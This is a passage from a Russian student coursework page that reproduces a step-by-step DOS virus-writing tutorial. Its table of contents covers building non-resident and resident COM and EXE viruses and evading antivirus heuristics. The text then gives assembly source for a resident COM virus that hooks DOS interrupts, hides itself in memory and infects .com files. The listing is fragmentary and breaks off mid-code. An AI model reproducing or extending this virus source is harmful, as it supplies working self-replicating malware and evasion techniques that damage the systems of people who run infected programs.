Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа
Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-
ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6
ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82
ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82
ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного
new_2fh: pushf
cmp ax,0f000h
jne cs:not_our
cmp bx,1997h
jne cs:not_our
mov al,0ffh
popf
iret
not_our: popf
db 0eah
old_2fh dw 0
old_2fh_2 dw 0
Если вызывается прерывание Int 2Fh с параметрами,
отличными от AX = 0F000h и BX = 01997h, вирусный
обработчик просто возвращает управление системно-
му . В противном случае управление передается пре-
рванной программе, причем в этом случае AL будет
равно 0FFh.
2.21 Обработчик Int 28h
Строго говоря, мы его уже написали ( см. п. 2.5 ,
п. 2.6 и т.д. ).Именно он занимается поиском и за-
ражением файлов,пользуясь для этого функциями DOS.
Но так как эти функции используются тогда, когда
активно прерывание Int 28h, ничего страшного про-
изойти не должно .
2.22 Область данных вируса
Теперь мы можем привести все данные, с которыми
работает наш вирус :
;/****************************
;Data area
old_bytes db 0e9h ;Исходные три
dw vir_len + 0dh ;байта ...
dta_save db 128 dup (0) ;Массив для DTA
maska db '*.com',0 ;Маска для поис-
fn db 12 dup (' '),0 ;Место для имени
new_bytes db 0e9h ;Код команды
db 00h ;HIGH
db 00h ;LOW
end_file db 0ebh ;Первые два бай-
db push_len ;та вируса в
ss_save dw 0 ;Буфера для SS
sp_save dw 0 ;и SP ...
help_word dw 0 ;Промежуточная
com_com db 'COMMAND' ;Имя командного
inside db 0 ;Ячейка - инди-
last db 0 ;Последний байт
to_newstack equ $ - vir ;Смещение к сте-
newstack dw 70 dup ( 0 ) ;Новый стек ...
2.23 Процедура идентификации COMMAND.COM
Приведем текст процедуры, которой пользуется наш
вирус. Эта процедура проверяет,является - ли най-
денный нами файл командным процессором COMMAND.COM
и возвращает INSIDE = 1, если был найден именно
командный процессор .
Итак :
;-----------------------------
search proc ;Процедура
push ax ;сравнивает
push cx ;строки ...
mov inside,1
lea di,fn
lea si,com_com
mov cx,7
new_cmp: mov al,byte ptr ds:[si]
cmp byte ptr ds:[di],al
jne cs:not_equal
inc di
inc si
loop cs:new_cmp
jmp cs:to_ret
not_equal: mov inside,0
to_ret: pop cx
pop ax
ret
search endp
Работа процедуры достаточно ясна и в комментариях
не нуждается .
2.24 Завершаем программу
В принципе, завершить эту программу можно так же,
как и предыдущую :
db '1' ;Последний байт
vir_len equ $-vir ;Длина вируса в
vir_par equ ( $-vir + 0fh ) / 16
prg_end: mov ax,4c00h ;Выход в DOS
INT 21H ;только для за-
db '1' ;И ее последний
prg ends ;Стандартное
end start ;" окончание "
Единственное отличие заключается в том, что по-
требовалось ввести константу " vir_par ".Она нужна
для расчета необходимой длины блока памяти при ин-
сталляции вируса и
в некоторых других
2.25 Текст резидентного COM - вируса
Теперь
мы можем привести полный
программы - вируса :
; ______________________________
;|
;| COM TSR
virus
;| Especially for my readers |
;|____________________________
prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h
start: jmp vir
org 110h
;С метки " vir "
;фактически на-
vir: db 0ebh ;90h - Для рези-
db push_len ;90h дентной
; работы .
pushf
cmp cs:tg_infect-110h,1;
je cs:vir_2 ;Да ...
call dword ptr cs:old_28h - 110h
iret
vir_2: popf ;Переключаем
mov cs:ss_save-110h,ss ;себя ...
mov cs:sp_save-110h,sp
mov cs:help_word - 110h,cs
mov ss,cs:help_word - 110h
mov sp,to_newstack + 136
mov cs:tg_infect - 110h,0
pushf ;Вызываем старый
db 9ah ;обработчик
old_28h dw 0 ;INT 28h ...
old_28h_2 dw 0
pushf ;Сохраним в сте-
push ax ;ке регистры ...
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
jmp cs:infect ;Перейти к зара-
push_len equ $-vir - 2
mov ax,ds ;Корректируем DS
db 05h ;Код команды
add_to_ds: dw 0 ;" ADD AX,00h "
mov ds,ax
mov ax,0f000h ;Проверим, есть
mov bx,1997h ;вирус в памяти,
int 2fh ;или еще нет ...
jc fresh_bytes
cmp al,0ffh
jne free_mem ;Нет -
fresh_bytes:
mov al,old_bytes ;первые три бай-
;та зараженной
mov cs:[100h],al ;программы ...
mov al,old_bytes+1
mov cs:[101h],al
mov al,old_bytes+2
mov cs:[102h],al
mov ax,cs ;Восстанавливаем
;сегментные
mov es,ax ;регистры ...
mov start_cs,ax
mov ds,ax
jmp cl_conv_1 ;Передаем управ-
cl_conv_1: db 0eah ;ление заражен-
dw 100h ;ной программе
start_cs dw 0
free_mem: mov ah,4ah ;Определим объем
mov bx,0ffffh ;Заведомо невоз-
int 21h ;можное значение
; ______________________________
;| Закажем свободный блок памяти,чтобы можно было|
;| записать в него резидентную часть вируса ... |
;|____________________________
sub bx,vir_par + 2 ;Оставим вирусу
mov ah,4ah ;А остальная па-
int 21h ;мять будет
jc fresh_bytes ;занята ...
mov ah,48h ;Попросим DOS
mov bx,vir_par + 1 ;Запас в один
int 21h ;параграф ...
jc fresh_bytes
; ______________________________
;| Теперь
свободный блок памяти найден
;| ( сегментный адрес в AX ), и |
;| нужно записать в него код вируса ... |
;|____________________________
xor di,di ;Делаем вирус
mov bx,ax ;"невидимым" в
dec bx ;памяти ...
mov word ptr cs:[2],bx
mov es,bx
mov bx,0070h
mov es:[di+1],bx
mov es,di ;Получаем векто-
cli
mov di,084h ;Int 21h ...
mov bx,es:[di]
mov old_21h,bx
mov bx,es:[di+2]
mov old_21h_2,bx
mov di,0bch ;Int 2fh ...
mov bx,es:[di]
mov old_2fh,bx
mov bx,es:[di+2]
mov old_2fh_2,bx
mov di,04ch ;Int 13h ...
mov bx,es:[di]
mov old_13h,bx
mov bx,es:[di+2]
mov old_13h_2,bx
mov di,0a0h ;Int 28h ...
mov bx,es:[di]
mov old_28h,bx
mov bx,es:[di+2]
mov old_28h_2,bx
sti
mov word ptr vir,9090h ;Подготавливаем
mov tg_infect,0 ;вирус к рези-
mov es,ax ;И копируем его
xor di,di ;в память...
mov cx,vir_len
prg_copy: mov bl,byte ptr vir[di]
mov byte ptr es:[di],bl
inc di
loop prg_copy
xor bx,bx ;Устанавливаем
mov es,bx ;ваний на вирус-
cli ;ные обработчики
mov di,084h
mov word ptr es:[di],to_new_21h
mov es:[di+2],ax ; Int 21h
mov di,0bch
mov word ptr es:[di],to_new_2fh
mov es:[di+2],ax ; Int 2fh
mov di,04ch
mov word ptr es:[di],to_new_13h
mov es:[di+2],ax ; Int 13h
mov di,0a0h
mov word ptr es:[di],0
mov es:[di+2],ax ; Int 28h
sti
jmp fresh_bytes ;Установка
infect: push cs
pop ds
mov ax,ds ;TSR - коррекция
sub ax,11h ;DS ...
mov ds,ax
cmp tg_13h,0 ;INT 13h
je cs:all_right ;Нет ...
jmp cs:exit_zarasa ;Да - на выход